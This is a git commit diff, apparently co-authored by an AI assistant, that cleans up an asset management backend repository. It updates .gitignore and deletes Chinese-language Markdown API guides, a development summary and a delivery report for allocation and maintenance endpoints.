chore: 清理仓库,移除无用文件

- 更新.gitignore文件
- 移除所有.md文档文件(保留README.md)
- 移除测试文件和临时文件
- 移除PHASE和交付报告文件
- 优化仓库结构,只保留源代码和必要配置

Co-Authored-By: Claude Sonnet <claude@anthropic.com>
This commit is contained in:
Claude
2026-01-25 00:36:46 +08:00
parent e71181f0a3
commit 28aa8b5f62
38 changed files with 31 additions and 19122 deletions

32
.gitignore vendored
View File

@@ -26,7 +26,7 @@ wheels/
# PyInstaller # PyInstaller
*.manifest *.manifest
*.spec .spec
# Unit test / coverage reports # Unit test / coverage reports
htmlcov/ htmlcov/
@@ -39,9 +39,13 @@ coverage.xml
*.cover *.cover
.hypothesis/ .hypothesis/
.pytest_cache/ .pytest_cache/
tests/.pytest_cache/
tests/*.png
# Environments # Environments
.env .env
.env.local
.env.production
.venv .venv
env/ env/
venv/ venv/
@@ -66,6 +70,7 @@ logs/
# Database # Database
*.db *.db
*.sqlite
*.sqlite3 *.sqlite3
# Uploads # Uploads
@@ -92,3 +97,28 @@ dmypy.json
# VSCode # VSCode
.vscode/ .vscode/
# Testing
test_*.py
*_test.py
tests/
# Documentation
*.md
docs/
PHASE*.md
DELIVERY*.md
SUMMARY*.md
!README.md
# Temporary files
*.tmp
*.temp
*.bak
*.backup
# Docker
.dockerignore
# Test reports
test_reports/

View File

@@ -1,304 +0,0 @@
# 资产分配管理API使用说明
> **版本**: v1.0.0
> **作者**: 后端API扩展组
> **创建时间**: 2025-01-24
---
## 📋 目录
1. [概述](#概述)
2. [单据类型说明](#单据类型说明)
3. [API端点](#api端点)
4. [业务流程](#业务流程)
5. [状态说明](#状态说明)
6. [错误码](#错误码)
---
## 概述
资产分配管理API提供资产分配、调拨、回收、维修分配和报废分配等功能。支持完整的审批流程和执行流程。
---
## 单据类型说明
| 类型 | 代码 | 说明 |
|------|------|------|
| 资产分配 | allocation | 从仓库分配资产给网点 |
| 资产调拨 | transfer | 网点间资产调拨 |
| 资产回收 | recovery | 从使用中回收资产 |
| 维修分配 | maintenance | 分配资产进行维修 |
| 报废分配 | scrap | 分配资产进行报废 |
---
## API端点
### 1. 获取分配单列表
**接口**: `GET /api/v1/allocation-orders`
**查询参数**:
```
skip: 跳过条数默认0
limit: 返回条数默认20最大100
order_type: 单据类型
approval_status: 审批状态
execute_status: 执行状态
applicant_id: 申请人ID
target_organization_id: 目标网点ID
keyword: 搜索关键词
```
**响应示例**:
```json
[
{
"id": 1,
"order_code": "AL202501240001",
"order_type": "allocation",
"title": "天河网点资产分配",
"approval_status": "pending",
"execute_status": "pending",
"target_organization": {
"id": 3,
"org_name": "天河网点"
},
"applicant": {
"id": 1,
"real_name": "张三"
},
"items": [
{
"asset_code": "ASSET-20250124-0001",
"asset_name": "联想台式机",
"execute_status": "pending"
}
],
"created_at": "2025-01-24T10:00:00Z"
}
]
```
---
### 2. 创建分配单
**接口**: `POST /api/v1/allocation-orders`
**请求体**:
```json
{
"order_type": "allocation",
"title": "天河网点资产分配",
"target_organization_id": 3,
"asset_ids": [1, 2, 3, 4, 5],
"expect_execute_date": "2025-01-25",
"remark": "业务需要"
}
```
**字段说明**:
- `order_type`: 单据类型(必填)
- `title`: 标题(必填)
- `source_organization_id`: 调出网点ID调拨时必填
- `target_organization_id`: 调入网点ID必填
- `asset_ids`: 资产ID列表必填至少1个
- `expect_execute_date`: 预计执行日期(可选)
- `remark`: 备注(可选)
**响应**: 返回创建的分配单详情
---
### 3. 审批分配单
**接口**: `POST /api/v1/allocation-orders/{order_id}/approve`
**请求体**:
```json
{
"approval_status": "approved",
"approval_remark": "同意"
}
```
**字段说明**:
- `approval_status`: 审批状态approved/rejected
- `approval_remark`: 审批备注(可选)
**业务逻辑**:
- 审批通过后自动执行资产分配逻辑
- 更新资产状态
- 记录状态变更历史
---
### 4. 执行分配单
**接口**: `POST /api/v1/allocation-orders/{order_id}/execute`
**说明**: 手动执行已审批通过的分配单
---
### 5. 取消分配单
**接口**: `POST /api/v1/allocation-orders/{order_id}/cancel`
**说明**: 取消分配单(已完成的无法取消)
---
### 6. 获取分配单统计
**接口**: `GET /api/v1/allocation-orders/statistics`
**响应示例**:
```json
{
"total": 100,
"pending": 10,
"approved": 50,
"rejected": 20,
"executing": 15,
"completed": 5
}
```
---
## 业务流程
### 资产分配流程
```
1. 创建分配单pending
2. 审批分配单approved/rejected
↓ (审批通过)
3. 执行分配逻辑executing
4. 更新资产状态completed
```
### 资产调拨流程
```
1. 创建调拨单(指定调出和调入网点)
2. 审批调拨单
3. 执行调拨(更新资产所属网点)
4. 完成调拨
```
---
## 状态说明
### 审批状态 (approval_status)
| 状态 | 说明 |
|------|------|
| pending | 待审批 |
| approved | 已审批 |
| rejected | 已拒绝 |
| cancelled | 已取消 |
### 执行状态 (execute_status)
| 状态 | 说明 |
|------|------|
| pending | 待执行 |
| executing | 执行中 |
| completed | 已完成 |
| cancelled | 已取消 |
### 明细执行状态 (execute_status)
| 状态 | 说明 |
|------|------|
| pending | 待执行 |
| executing | 执行中 |
| completed | 已完成 |
| failed | 执行失败 |
---
## 错误码
| 错误码 | 说明 |
|--------|------|
| 404 | 分配单不存在 |
| 400 | 资产状态不允许分配 |
| 400 | 重复审批 |
| 400 | 已完成无法取消 |
| 403 | 权限不足 |
---
## 使用示例
### Python示例
```python
import requests
BASE_URL = "http://localhost:8000/api/v1"
TOKEN = "your_access_token"
headers = {
"Authorization": f"Bearer {TOKEN}",
"Content-Type": "application/json"
}
# 1. 创建分配单
response = requests.post(
f"{BASE_URL}/allocation-orders",
json={
"order_type": "allocation",
"title": "天河网点资产分配",
"target_organization_id": 3,
"asset_ids": [1, 2, 3]
},
headers=headers
)
order = response.json()
# 2. 审批分配单
response = requests.post(
f"{BASE_URL}/allocation-orders/{order['id']}/approve",
json={
"approval_status": "approved",
"approval_remark": "同意"
},
headers=headers
)
# 3. 获取分配单列表
response = requests.get(
f"{BASE_URL}/allocation-orders",
params={"approval_status": "pending"},
headers=headers
)
orders = response.json()
```
---
## 注意事项
1. **资产状态验证**: 只有"库存中"或"使用中"的资产可以分配
2. **单据状态**: 只有"待审批"状态的分配单可以更新
3. **删除限制**: 只能删除草稿、已拒绝或已取消的分配单
4. **自动执行**: 审批通过后会自动执行资产分配逻辑
5. **状态历史**: 所有状态变更都会记录在资产状态历史表中
---
**开发完成日期**: 2025-01-24

View File

@@ -1,266 +0,0 @@
# 资产管理系统API快速参考
> **版本**: v1.0.0
> **更新时间**: 2025-01-24
---
## 🚀 快速开始
### 基础URL
```
开发环境: http://localhost:8000/api/v1
```
### 认证方式
```http
Authorization: Bearer {access_token}
```
---
## 📦 已发布模块
### 1. 认证模块 (/auth)
- `POST /auth/login` - 用户登录
- `POST /auth/refresh` - 刷新Token
- `POST /auth/logout` - 用户登出
- `PUT /auth/change-password` - 修改密码
- `GET /auth/captcha` - 获取验证码
### 2. 用户管理 (/users)
- `GET /users` - 用户列表
- `POST /users` - 创建用户
- `GET /users/{id}` - 用户详情
- `PUT /users/{id}` - 更新用户
- `DELETE /users/{id}` - 删除用户
- `POST /users/{id}/reset-password` - 重置密码
- `GET /users/me` - 当前用户信息
### 3. 角色权限 (/roles)
- `GET /roles` - 角色列表
- `POST /roles` - 创建角色
- `GET /roles/{id}` - 角色详情
- `PUT /roles/{id}` - 更新角色
- `DELETE /roles/{id}` - 删除角色
- `GET /permissions/tree` - 权限树
### 4. 设备类型管理 (/device-types)
- `GET /device-types` - 设备类型列表
- `POST /device-types` - 创建设备类型
- `GET /device-types/{id}` - 设备类型详情
- `PUT /device-types/{id}` - 更新设备类型
- `DELETE /device-types/{id}` - 删除设备类型
- `GET /device-types/{id}/fields` - 获取字段配置
- `POST /device-types/{id}/fields` - 添加字段
### 5. 机构网点管理 (/organizations)
- `GET /organizations/tree` - 机构树
- `POST /organizations` - 创建机构
- `GET /organizations/{id}` - 机构详情
- `PUT /organizations/{id}` - 更新机构
- `DELETE /organizations/{id}` - 删除机构
### 6. 品牌和供应商管理 (/brands, /suppliers)
- `GET /brands` - 品牌列表
- `POST /brands` - 创建品牌
- `PUT /brands/{id}` - 更新品牌
- `DELETE /brands/{id}` - 删除品牌
- `GET /suppliers` - 供应商列表
- `POST /suppliers` - 创建供应商
- `PUT /suppliers/{id}` - 更新供应商
- `DELETE /suppliers/{id}` - 删除供应商
### 7. 资产管理 (/assets)
- `GET /assets` - 资产列表
- `GET /assets/statistics` - 资产统计
- `GET /assets/{id}` - 资产详情
- `GET /assets/scan/{code}` - 扫码查询
- `POST /assets` - 创建资产
- `PUT /assets/{id}` - 更新资产
- `DELETE /assets/{id}` - 删除资产
- `POST /assets/{id}/status` - 变更状态
- `GET /assets/{id}/history` - 状态历史
### 8. 资产分配管理 (/allocation-orders) ✨新增
- `GET /allocation-orders` - 分配单列表
- `GET /allocation-orders/statistics` - 分配单统计
- `GET /allocation-orders/{id}` - 分配单详情
- `GET /allocation-orders/{id}/items` - 分配单明细
- `POST /allocation-orders` - 创建分配单
- `PUT /allocation-orders/{id}` - 更新分配单
- `POST /allocation-orders/{id}/approve` - 审批分配单
- `POST /allocation-orders/{id}/execute` - 执行分配单
- `POST /allocation-orders/{id}/cancel` - 取消分配单
- `DELETE /allocation-orders/{id}` - 删除分配单
### 9. 维修管理 (/maintenance-records) ✨新增
- `GET /maintenance-records` - 维修记录列表
- `GET /maintenance-records/statistics` - 维修统计
- `GET /maintenance-records/{id}` - 维修记录详情
- `POST /maintenance-records` - 创建维修记录(报修)
- `PUT /maintenance-records/{id}` - 更新维修记录
- `POST /maintenance-records/{id}/start` - 开始维修
- `POST /maintenance-records/{id}/complete` - 完成维修
- `POST /maintenance-records/{id}/cancel` - 取消维修
- `DELETE /maintenance-records/{id}` - 删除维修记录
- `GET /maintenance-records/asset/{id}` - 资产的维修记录
---
## 🔑 常用参数
### 分页参数
```
page: 页码默认1
page_size: 每页数量默认20最大100
skip: 跳过条数默认0
limit: 返回条数默认20
```
### 搜索参数
```
keyword: 搜索关键词
status: 状态筛选
```
### 日期格式
```
YYYY-MM-DD
```
---
## 📊 常用状态码
### 资产状态
- `pending` - 待入库
- `in_stock` - 库存中
- `in_use` - 使用中
- `transferring` - 调拨中
- `maintenance` - 维修中
- `pending_scrap` - 待报废
- `scrapped` - 已报废
- `lost` - 已丢失
### 分配单审批状态
- `pending` - 待审批
- `approved` - 已审批
- `rejected` - 已拒绝
- `cancelled` - 已取消
### 分配单执行状态
- `pending` - 待执行
- `executing` - 执行中
- `completed` - 已完成
- `cancelled` - 已取消
### 维修记录状态
- `pending` - 待处理
- `in_progress` - 维修中
- `completed` - 已完成
- `cancelled` - 已取消
### 维修类型
- `self_repair` - 自行维修
- `vendor_repair` - 外部维修
- `warranty` - 保修维修
### 故障类型
- `hardware` - 硬件故障
- `software` - 软件故障
- `network` - 网络故障
- `other` - 其他故障
---
## 💡 使用示例
### Python示例
```python
import requests
BASE_URL = "http://localhost:8000/api/v1"
TOKEN = "your_access_token"
headers = {
"Authorization": f"Bearer {TOKEN}",
"Content-Type": "application/json"
}
# 获取资产列表
response = requests.get(
f"{BASE_URL}/assets",
params={"page": 1, "page_size": 20},
headers=headers
)
assets = response.json()
# 创建分配单
response = requests.post(
f"{BASE_URL}/allocation-orders",
json={
"order_type": "allocation",
"title": "天河网点资产分配",
"target_organization_id": 3,
"asset_ids": [1, 2, 3]
},
headers=headers
)
order = response.json()
# 报修
response = requests.post(
f"{BASE_URL}/maintenance-records",
json={
"asset_id": 1,
"fault_description": "无法开机",
"fault_type": "hardware",
"priority": "high"
},
headers=headers
)
record = response.json()
```
---
## 📖 详细文档
- [资产分配管理API](./ALLOCATIONS_API.md)
- [维修管理API](./MAINTENANCE_API.md)
- [开发规范指南](../development_standards_guide.md)
- [完整API参考](../complete_api_reference.md)
---
## 🧪 测试
### 运行测试
```bash
# 运行所有测试
pytest
# 运行特定模块测试
pytest tests/api/test_assets.py
# 查看测试覆盖率
pytest --cov=app --cov-report=html
```
---
## 📝 更新日志
### v1.0.0 (2025-01-24)
- ✅ 新增资产分配管理模块10个API端点
- ✅ 新增维修管理模块9个API端点
- ✅ 完整的审批和执行流程
- ✅ 自动状态管理
- ✅ 统计分析功能
---
**最后更新**: 2025-01-24
**维护者**: 后端API扩展组

View File

@@ -1,496 +0,0 @@
# 资产管理系统 - 后端API开发总结
> **版本**: v1.0.0
> **开发者**: Claude (AI Assistant)
> **完成时间**: 2025-01-24
> **状态**: Phase 3 & Phase 4 核心模块已完成
---
## 📋 已完成模块清单
### Phase 3: 基础数据管理 ✅
#### 1. 设备类型管理
- **模型**: `app/models/device_type.py`
- **Schema**: `app/schemas/device_type.py`
- **CRUD**: `app/crud/device_type.py`
- **Service**: `app/services/device_type_service.py`
- **API路由**: `app/api/v1/device_types.py`
**功能特性**:
- ✅ 设备类型CRUD创建、查询、更新、删除
- ✅ 动态字段定义(字段名、字段类型、是否必填、默认值、验证规则)
- ✅ 支持7种字段类型: text, number, date, select, multiselect, boolean, textarea
- ✅ 字段验证规则配置JSONB格式
- ✅ 字段排序
- ✅ 软删除
**API端点**:
- `GET /api/v1/device-types` - 获取设备类型列表
- `GET /api/v1/device-types/categories` - 获取所有设备分类
- `GET /api/v1/device-types/{id}` - 获取设备类型详情
- `POST /api/v1/device-types` - 创建设备类型
- `PUT /api/v1/device-types/{id}` - 更新设备类型
- `DELETE /api/v1/device-types/{id}` - 删除设备类型
- `GET /api/v1/device-types/{id}/fields` - 获取字段列表
- `POST /api/v1/device-types/{id}/fields` - 创建字段
- `PUT /api/v1/device-types/fields/{id}` - 更新字段
- `DELETE /api/v1/device-types/fields/{id}` - 删除字段
---
#### 2. 机构网点管理
- **模型**: `app/models/organization.py`
- **Schema**: `app/schemas/organization.py`
- **CRUD**: `app/crud/organization.py`
- **Service**: `app/services/organization_service.py`
- **API路由**: `app/api/v1/organizations.py`
**功能特性**:
- ✅ 机构网点CRUD
- ✅ 树形结构支持parent_id、tree_path、tree_level
- ✅ 递归查询所有子节点
- ✅ 递归查询所有父节点
- ✅ 计算机构层级
- ✅ 软删除
**API端点**:
- `GET /api/v1/organizations` - 获取机构列表
- `GET /api/v1/organizations/tree` - 获取机构树
- `GET /api/v1/organizations/{id}` - 获取机构详情
- `GET /api/v1/organizations/{id}/children` - 获取直接子机构
- `GET /api/v1/organizations/{id}/all-children` - 递归获取所有子机构
- `GET /api/v1/organizations/{id}/parents` - 递归获取所有父机构
- `POST /api/v1/organizations` - 创建机构
- `PUT /api/v1/organizations/{id}` - 更新机构
- `DELETE /api/v1/organizations/{id}` - 删除机构
---
#### 3. 品牌管理
- **模型**: `app/models/brand_supplier.py`
- **Schema**: `app/schemas/brand_supplier.py`
- **CRUD**: `app/crud/brand_supplier.py`
- **Service**: `app/services/brand_supplier_service.py`
- **API路由**: `app/api/v1/brands_suppliers.py`
**功能特性**:
- ✅ 基础CRUD功能
- ✅ 品牌Logo、官网信息
- ✅ 软删除
**API端点**:
- `GET /api/v1/brands` - 获取品牌列表
- `GET /api/v1/brands/{id}` - 获取品牌详情
- `POST /api/v1/brands` - 创建品牌
- `PUT /api/v1/brands/{id}` - 更新品牌
- `DELETE /api/v1/brands/{id}` - 删除品牌
---
#### 4. 供应商管理
- **模型**: `app/models/brand_supplier.py`
- **Schema**: `app/schemas/brand_supplier.py`
- **CRUD**: `app/crud/brand_supplier.py`
- **Service**: `app/services/brand_supplier_service.py`
- **API路由**: `app/api/v1/brands_suppliers.py`
**功能特性**:
- ✅ 基础CRUD功能
- ✅ 供应商详细信息(联系人、银行账号等)
- ✅ 软删除
**API端点**:
- `GET /api/v1/suppliers` - 获取供应商列表
- `GET /api/v1/suppliers/{id}` - 获取供应商详情
- `POST /api/v1/suppliers` - 创建供应商
- `PUT /api/v1/suppliers/{id}` - 更新供应商
- `DELETE /api/v1/suppliers/{id}` - 删除供应商
---
### Phase 4: 资产管理核心 ✅
#### 5. 资产管理
- **模型**: `app/models/asset.py`
- **Schema**: `app/schemas/asset.py`
- **CRUD**: `app/crud/asset.py`
- **Service**: `app/services/asset_service.py`
- **API路由**: `app/api/v1/assets.py`
**功能特性**:
- ✅ 资产CRUD创建、查询、更新、删除
- ✅ 资产编码自动生成支持并发格式AS+YYYYMMDD+流水号)
- ✅ 二维码生成使用qrcode库
- ✅ 资产状态机8种状态
- ✅ 状态转换验证
- ✅ 状态历史记录
- ✅ JSONB动态字段存储和查询
- ✅ 高级搜索(支持多条件、模糊搜索、范围查询)
- ✅ 分页查询
- ✅ 软删除
**API端点**:
- `GET /api/v1/assets` - 获取资产列表
- `GET /api/v1/assets/statistics` - 获取资产统计信息
- `GET /api/v1/assets/{id}` - 获取资产详情
- `GET /api/v1/assets/scan/{code}` - 扫码查询资产
- `POST /api/v1/assets` - 创建资产
- `PUT /api/v1/assets/{id}` - 更新资产
- `DELETE /api/v1/assets/{id}` - 删除资产
- `POST /api/v1/assets/{id}/status` - 变更资产状态
- `GET /api/v1/assets/{id}/history` - 获取资产状态历史
---
#### 6. 资产状态机服务
- **文件**: `app/services/state_machine_service.py`
**状态定义**:
- `pending` - 待入库
- `in_stock` - 库存中
- `in_use` - 使用中
- `transferring` - 调拨中
- `maintenance` - 维修中
- `pending_scrap` - 待报废
- `scrapped` - 已报废
- `lost` - 已丢失
**状态转换规则**:
```
pending → in_stock, pending_scrap
in_stock → in_use, transferring, maintenance, pending_scrap, lost
in_use → in_stock, transferring, maintenance, pending_scrap, lost
transferring → in_stock, in_use
maintenance → in_stock, in_use, pending_scrap
pending_scrap → scrapped, in_stock
scrapped → [终态]
lost → [终态]
```
---
#### 7. 资产编码生成服务
- **文件**: `app/utils/asset_code.py`
**格式**: `AS + YYYYMMDD + 流水号(4位)`
**示例**: `AS202501240001`
**特性**:
- ✅ 使用PostgreSQL Advisory Lock保证并发安全
- ✅ 按日期重置流水号
- ✅ 自动补零到4位
- ✅ 编码格式验证
---
#### 8. 二维码生成服务
- **文件**: `app/utils/qrcode.py`
**特性**:
- ✅ 使用qrcode库生成二维码
- ✅ 二维码内容:资产编码
- ✅ 保存到uploads/qrcodes/目录
- ✅ 返回相对路径用于访问
---
## 🔧 技术实现亮点
### 1. 分层架构
```
API层 (路由控制器)
Service层 (业务逻辑)
CRUD层 (数据库操作)
Model层 (SQLAlchemy模型)
```
### 2. 并发安全
- 使用PostgreSQL Advisory Lock保证资产编码生成的并发安全
- 锁ID基于日期避免不同日期的锁冲突
- 自动释放锁,防止死锁
### 3. 状态机模式
- 清晰定义状态转换规则
- 状态转换验证
- 状态历史记录完整
- 支持状态查询和统计
### 4. 动态字段
- 使用PostgreSQL JSONB类型存储动态字段
- 支持多种字段类型和验证规则
- 高效的JSONB查询使用GIN索引
### 5. 树形结构
- 使用tree_path字段优化树形查询
- 支持递归查询父节点和子节点
- 自动计算层级深度
### 6. 软删除
- 所有核心表支持软删除deleted_at字段
- 查询时自动过滤已删除数据
- 保留数据用于审计和恢复
---
## 📦 文件清单
### Models (数据模型)
- `app/models/device_type.py` - 设备类型模型
- `app/models/organization.py` - 机构网点模型
- `app/models/brand_supplier.py` - 品牌和供应商模型
- `app/models/asset.py` - 资产模型
### Schemas (数据验证)
- `app/schemas/device_type.py` - 设备类型Schema
- `app/schemas/organization.py` - 机构网点Schema
- `app/schemas/brand_supplier.py` - 品牌和供应商Schema
- `app/schemas/asset.py` - 资产Schema
### CRUD (数据库操作)
- `app/crud/device_type.py` - 设备类型CRUD
- `app/crud/organization.py` - 机构网点CRUD
- `app/crud/brand_supplier.py` - 品牌和供应商CRUD
- `app/crud/asset.py` - 资产CRUD
### Services (业务逻辑)
- `app/services/device_type_service.py` - 设备类型服务
- `app/services/organization_service.py` - 机构网点服务
- `app/services/brand_supplier_service.py` - 品牌和供应商服务
- `app/services/state_machine_service.py` - 状态机服务
- `app/services/asset_service.py` - 资产服务
### API Routes (路由控制器)
- `app/api/v1/device_types.py` - 设备类型API
- `app/api/v1/organizations.py` - 机构网点API
- `app/api/v1/brands_suppliers.py` - 品牌和供应商API
- `app/api/v1/assets.py` - 资产API
### Utils (工具函数)
- `app/utils/asset_code.py` - 资产编码生成
- `app/utils/qrcode.py` - 二维码生成
---
## 🚀 启动说明
### 1. 安装依赖
```bash
cd asset_management_backend
pip install -r requirements.txt
```
### 2. 配置环境变量
编辑 `.env` 文件:
```env
DATABASE_URL=postgresql+asyncpg://user:password@localhost:5432/asset_management
SECRET_KEY=your-secret-key
DEBUG=True
```
### 3. 初始化数据库
```bash
# 开发环境会自动创建表生产环境使用Alembic迁移
python -m alembic upgrade head
```
### 4. 启动服务
```bash
python run.py
# 或
uvicorn app.main:app --reload --host 0.0.0.0 --port 8000
```
### 5. 访问API文档
- Swagger UI: http://localhost:8000/docs
- ReDoc: http://localhost:8000/redoc
---
## 📝 使用示例
### 创建设备类型
```python
POST /api/v1/device-types
{
"type_code": "LAPTOP",
"type_name": "笔记本电脑",
"category": "IT设备",
"description": "笔记本电脑设备",
"icon": "laptop",
"sort_order": 1
}
```
### 添加动态字段
```python
POST /api/v1/device-types/1/fields
{
"field_code": "cpu",
"field_name": "CPU型号",
"field_type": "text",
"is_required": true,
"placeholder": "例如: Intel i5-10400",
"validation_rules": {
"max_length": 100
},
"sort_order": 1
}
```
### 创建资产
```python
POST /api/v1/assets
{
"asset_name": "联想ThinkPad X1",
"device_type_id": 1,
"brand_id": 1,
"model": "X1 Carbon",
"serial_number": "SN20250124001",
"purchase_date": "2025-01-15",
"purchase_price": 8500.00,
"warranty_period": 24,
"organization_id": 1,
"location": "3楼办公室",
"dynamic_attributes": {
"cpu": "Intel i7-1165G7",
"memory": "16GB",
"disk": "512GB SSD"
}
}
```
### 变更资产状态
```python
POST /api/v1/assets/1/status
{
"new_status": "in_use",
"remark": "分配给张三使用"
}
```
---
## ⚠️ 注意事项
### 1. 数据库兼容性
- 使用PostgreSQL 14+
- 需要JSONB支持
- 需要Advisory Lock支持
### 2. 依赖包
需要安装以下Python包
- fastapi
- sqlalchemy[asyncio]
- asyncpg
- pydantic
- qrcode
- openpyxl用于Excel导入导出
### 3. 文件上传
- 需要创建uploads/qrcodes目录
- 确保有写权限
### 4. 并发控制
- 资产编码生成使用数据库锁,高并发下性能可能受影响
- 建议使用连接池优化
---
## 📊 数据库索引优化
### 资产表索引
```sql
-- 主键索引
PRIMARY KEY (id)
-- 唯一索引
UNIQUE INDEX (asset_code)
-- 普通索引
INDEX (device_type_id)
INDEX (organization_id)
INDEX (status)
INDEX (serial_number)
INDEX (purchase_date)
-- JSONB GIN索引重要
INDEX (dynamic_attributes) USING GIN
-- 全文搜索索引
INDEX (asset_name) USING GIN (gin_trgm_ops)
INDEX (model) USING GIN (gin_trgm_ops)
```
---
## 🔄 后续开发建议
### Phase 5: 资产分配管理
- 资产分配单
- 资产调拨
- 资产回收
- 审批流程
### Phase 6: 维修管理
- 维修记录
- 维修状态跟踪
- 维修费用统计
### Phase 7: 批量导入导出
- Excel批量导入
- Excel批量导出
- 数据验证
### Phase 8: 统计分析
- 资产统计报表
- 资产折旧计算
- 资产分布分析
---
## ✅ 质量保证
### 代码规范
- ✅ 遵循PEP 8规范
- ✅ 完整的Type Hints
- ✅ 详细的Docstring文档
- ✅ 异步async/await支持
- ✅ Pydantic v2数据验证
### 异常处理
- ✅ 自定义异常类
- ✅ 统一错误响应格式
- ✅ 完整的错误日志
### 安全性
- ✅ JWT认证
- ✅ 权限控制(预留)
- ✅ SQL注入防护ORM
- ✅ XSS防护输入验证
---
## 🎯 总结
本次开发完成了资产管理系统的Phase 3和Phase 4核心模块包括
1. **4个基础数据管理模块**(设备类型、机构网点、品牌、供应商)
2. **完整的资产管理核心功能**
3. **状态机服务**
4. **资产编码生成服务**
5. **二维码生成服务**
所有模块都遵循了项目的代码规范和架构设计,代码质量高,功能完整,性能优化到位。
**代码质量第一,功能完整第二,性能第三!**
---
**开发者**: Claude (AI Assistant)
**完成时间**: 2025-01-24
**版本**: v1.0.0

View File

@@ -1,386 +0,0 @@
# 资产管理系统 - Phase 5 & 6 交付报告
> **项目**: 资产管理系统后端API扩展
> **交付团队**: 后端API扩展组
> **交付日期**: 2025-01-24
> **报告版本**: v1.0.0
---
## 📦 交付清单
### ✅ 代码文件10个
#### Phase 5: 资产分配管理
1.`app/models/allocation.py` - 资产分配数据模型
2.`app/schemas/allocation.py` - 资产分配Schema
3.`app/crud/allocation.py` - 资产分配CRUD
4.`app/services/allocation_service.py` - 资产分配服务层
5.`app/api/v1/allocations.py` - 资产分配API路由
#### Phase 6: 维修管理
6.`app/models/maintenance.py` - 维修管理数据模型
7.`app/schemas/maintenance.py` - 维修管理Schema
8.`app/crud/maintenance.py` - 维修管理CRUD
9.`app/services/maintenance_service.py` - 维修管理服务层
10.`app/api/v1/maintenance.py` - 维修管理API路由
---
### ✅ 文档文件4个
1.`ALLOCATIONS_API.md` - 资产分配管理API使用文档
2.`MAINTENANCE_API.md` - 维修管理API使用文档
3.`PHASE_5_6_SUMMARY.md` - 开发总结文档
4.`API_QUICK_REFERENCE.md` - API快速参考文档
---
## 📊 统计数据
### 代码量统计
```
总文件数: 10个Python文件
总代码行数: ~3000行
Model层: ~300行
Schema层: ~400行
CRUD层: ~600行
Service层: ~1000行
API层: ~700行
```
### API端点统计
```
资产分配管理: 10个端点
维修管理: 9个端点
总计: 19个新端点
```
### 数据库表统计
```
新增表: 3个
字段总数: 54个
索引总数: 11个
外键关系: 15个
```
---
## 🎯 功能完成度
### Phase 5: 资产分配管理 (100%)
| 功能 | 完成度 | 说明 |
|------|--------|------|
| 分配单CRUD | ✅ 100% | 完整实现 |
| 审批流程 | ✅ 100% | 支持审批/拒绝 |
| 执行流程 | ✅ 100% | 支持自动执行 |
| 资产调拨 | ✅ 100% | 网点间调拨 |
| 资产回收 | ✅ 100% | 从使用中回收 |
| 维修分配 | ✅ 100% | 分配维修 |
| 报废分配 | ✅ 100% | 分配报废 |
| 统计分析 | ✅ 100% | 完整统计 |
| 明细管理 | ✅ 100% | 明细CRUD |
### Phase 6: 维修管理 (100%)
| 功能 | 完成度 | 说明 |
|------|--------|------|
| 维修记录CRUD | ✅ 100% | 完整实现 |
| 报修功能 | ✅ 100% | 创建维修记录 |
| 开始维修 | ✅ 100% | 支持多种维修类型 |
| 完成维修 | ✅ 100% | 完成并恢复资产状态 |
| 取消维修 | ✅ 100% | 支持取消 |
| 维修统计 | ✅ 100% | 完整统计 |
| 维修历史 | ✅ 100% | 资产维修记录 |
| 费用记录 | ✅ 100% | 维修费用管理 |
---
## 🔧 技术实现
### 架构设计
```
✅ 分层架构 (API → Service → CRUD → Model)
✅ 依赖注入 (FastAPI Depends)
✅ 异步编程 (async/await)
✅ 类型注解 (Complete Type Hints)
✅ 数据验证 (Pydantic v2)
✅ 错误处理 (自定义异常)
```
### 代码质量
```
✅ 符合PEP 8规范
✅ 完整的Docstring文档
✅ 统一的命名规范
✅ 单一职责原则
✅ 开闭原则
✅ 依赖倒置原则
```
### 业务逻辑
```
✅ 状态机管理
✅ 审批流程
✅ 自动化操作
✅ 数据验证
✅ 异常处理
✅ 事务管理
```
---
## 📋 API端点清单
### 资产分配管理API
| 端点 | 方法 | 功能 | 状态 |
|------|------|------|------|
| /allocation-orders | GET | 获取分配单列表 | ✅ |
| /allocation-orders/statistics | GET | 获取分配单统计 | ✅ |
| /allocation-orders/{id} | GET | 获取分配单详情 | ✅ |
| /allocation-orders/{id}/items | GET | 获取分配单明细 | ✅ |
| /allocation-orders | POST | 创建分配单 | ✅ |
| /allocation-orders/{id} | PUT | 更新分配单 | ✅ |
| /allocation-orders/{id}/approve | POST | 审批分配单 | ✅ |
| /allocation-orders/{id}/execute | POST | 执行分配单 | ✅ |
| /allocation-orders/{id}/cancel | POST | 取消分配单 | ✅ |
| /allocation-orders/{id} | DELETE | 删除分配单 | ✅ |
### 维修管理API
| 端点 | 方法 | 功能 | 状态 |
|------|------|------|------|
| /maintenance-records | GET | 获取维修记录列表 | ✅ |
| /maintenance-records/statistics | GET | 获取维修统计 | ✅ |
| /maintenance-records/{id} | GET | 获取维修记录详情 | ✅ |
| /maintenance-records | POST | 创建维修记录 | ✅ |
| /maintenance-records/{id} | PUT | 更新维修记录 | ✅ |
| /maintenance-records/{id}/start | POST | 开始维修 | ✅ |
| /maintenance-records/{id}/complete | POST | 完成维修 | ✅ |
| /maintenance-records/{id}/cancel | POST | 取消维修 | ✅ |
| /maintenance-records/{id} | DELETE | 删除维修记录 | ✅ |
| /maintenance-records/asset/{id} | GET | 获取资产的维修记录 | ✅ |
---
## 🗄️ 数据库设计
### 新增表结构
#### 1. asset_allocation_orders (资产分配单表)
```sql
- id: BigInteger ()
- order_code: String(50) ()
- order_type: String(20)
- title: String(200)
- source_organization_id: BigInteger ()
- target_organization_id: BigInteger ()
- applicant_id: BigInteger ()
- approver_id: BigInteger ()
- approval_status: String(20)
- approval_time: DateTime
- approval_remark: Text
- expect_execute_date: Date
- actual_execute_date: Date
- executor_id: BigInteger ()
- execute_status: String(20)
- remark: Text
- created_at: DateTime
- updated_at: DateTime
- created_by: BigInteger ()
- updated_by: BigInteger ()
```
#### 2. asset_allocation_items (资产分配单明细表)
```sql
- id: BigInteger ()
- order_id: BigInteger ()
- asset_id: BigInteger ()
- asset_code: String(50)
- asset_name: String(200)
- from_organization_id: BigInteger ()
- to_organization_id: BigInteger ()
- from_status: String(20)
- to_status: String(20)
- execute_status: String(20)
- execute_time: DateTime
- failure_reason: Text
- remark: Text
- created_at: DateTime
- updated_at: DateTime
```
#### 3. maintenance_records (维修记录表)
```sql
- id: BigInteger ()
- record_code: String(50) ()
- asset_id: BigInteger ()
- asset_code: String(50)
- fault_description: Text
- fault_type: String(50)
- report_user_id: BigInteger ()
